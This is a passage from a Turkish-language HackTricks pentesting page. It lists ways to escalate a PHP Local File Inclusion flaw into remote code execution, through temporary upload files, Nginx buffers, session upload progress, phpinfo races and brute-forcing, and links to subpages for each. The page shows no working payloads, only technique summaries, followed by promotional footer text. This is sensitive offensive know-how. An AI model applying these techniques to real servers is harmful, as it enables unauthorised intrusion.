içinde geçici olarak saklanacak bir dosya yükleyin, ardından aynı istekte, bir segmentasyon hatası tetikleyin ve ardından geçici dosya silinmeyecek ve onu arayabilirsiniz.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}
Nginx geçici dosya depolama aracılığıyla
Bir Yerel Dosya Dahil Etme bulduysanız ve Nginx PHP'nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}
PHP_SESSION_UPLOAD_PROGRESS aracılığıyla
Bir Yerel Dosya Dahil Etme bulduysanız ve hatta bir oturumunuz yoksa ve session.auto_start
Off
ise bile. PHP_SESSION_UPLOAD_PROGRESS
'ı multipart POST verilerinde sağlarsanız, PHP oturumu sizin için etkinleştirir. Bu, RCE elde etmek için kötüye kullanılabilir:
{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}
Windows'ta geçici dosya yüklemeleri aracılığıyla
Bir Yerel Dosya Dahil Etme bulduysanız ve sunucu Windows üzerinde çalışıyorsa RCE elde edebilirsiniz:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}
phpinfo() (file_uploads = on) aracılığıyla
Bir Yerel Dosya Dahil Etme bulduysanız ve file_uploads = on olan bir phpinfo() dosyası varsa RCE elde edebilirsiniz:
{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}
compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Yol Açığını Açığa Çıkarma
Bir Yerel Dosya Dahil Etme bulduysanız ve geçici dosyanın yolunu dışa çıkarabilirseniz ANCAK sunucu, dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını kontrol ediyorsa, bu Yarış Koşulu ile o kontrolü atlamayı deneyebilirsiniz:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}
Sonsuz bekleyiş + kaba kuvvet aracılığıyla
LFI'yi geçici dosyalar yüklemek için kötüye kullanabilir ve sunucuyu PHP yürütmesini askıya alacak şekilde yapabilirsiniz, ardından saatler boyunca geçici dosyayı bulmak için dosya adlarını kaba kuvvet uygulayabilirsiniz:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}
Ölümcül Hata Yoluyla
/usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
dosyalarından herhangi birini dahil ederseniz. (Bu hatayı atmak için aynı dosyayı 2 kez dahil etmeniz gerekir).
Bu nasıl yararlı olacağını bilmiyorum ama olabilir.
Eğer bir PHP Ölümcül Hatası oluşturursanız, yüklenen PHP geçici dosyaları silinir.
![](/Mirrors/hacktricks/media/commit/b6bf9b5f50c73ba1fb99ceddb65f9012d1325451/.gitbook/assets/image%20%281031%29.png)
Referanslar
- PayloadsAllTheThings\
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
![](/Mirrors/hacktricks/media/commit/b6bf9b5f50c73ba1fb99ceddb65f9012d1325451/.gitbook/assets/image%20%28380%29.png)
Deneyimli hackerlar ve hata avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!
Hacking İçgörüleri
Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin
Gerçek Zamanlı Hack Haberleri
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
En Son Duyurular
Başlatılan en yeni hata avcılıklarını ve önemli platform güncellemelerini takip edin
Bize katılın Discord ve bugün en iyi hackerlarla işbirliğine başlayın!
Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklam vermek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar göndererek hacking hilelerinizi paylaşın.